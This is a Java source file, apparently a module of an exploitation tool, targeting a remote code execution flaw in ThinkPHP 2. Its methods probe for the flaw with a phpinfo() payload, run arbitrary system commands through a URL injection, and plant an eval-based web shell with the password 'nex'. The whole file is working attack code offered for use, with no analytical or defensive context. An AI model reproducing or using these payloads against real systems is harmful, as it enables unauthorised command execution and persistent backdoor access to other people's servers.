content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  public class tp2_rce implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "PHP Version";
          String payload = url + "/?s=/index/index/name/$%7B@phpinfo()%7D";
          try {
              HttpRequest req = HttpRequest.get(payload);
              if (req.body().contains(CheckStr)) {
                  return new Result(true, "ThinkPHP 2 RCE", payload);
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, "ThinkPHP 2 RCE", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          String payload = url + "?s=/index/index/index/${system(" + cmd + ")}";
          try {
              String res = HttpRequest.get(payload).body();
              return new Result(true, null, res);
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          try {
              String shell_url = url + "/?s=/index/index/index/${@print(eval($_POST[nex]))}";
              int code = HttpRequest.get(shell_url).code();
              if (code == 200) {
                  return new Result(true, null, shell_url+" Pass:nex");
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  }
  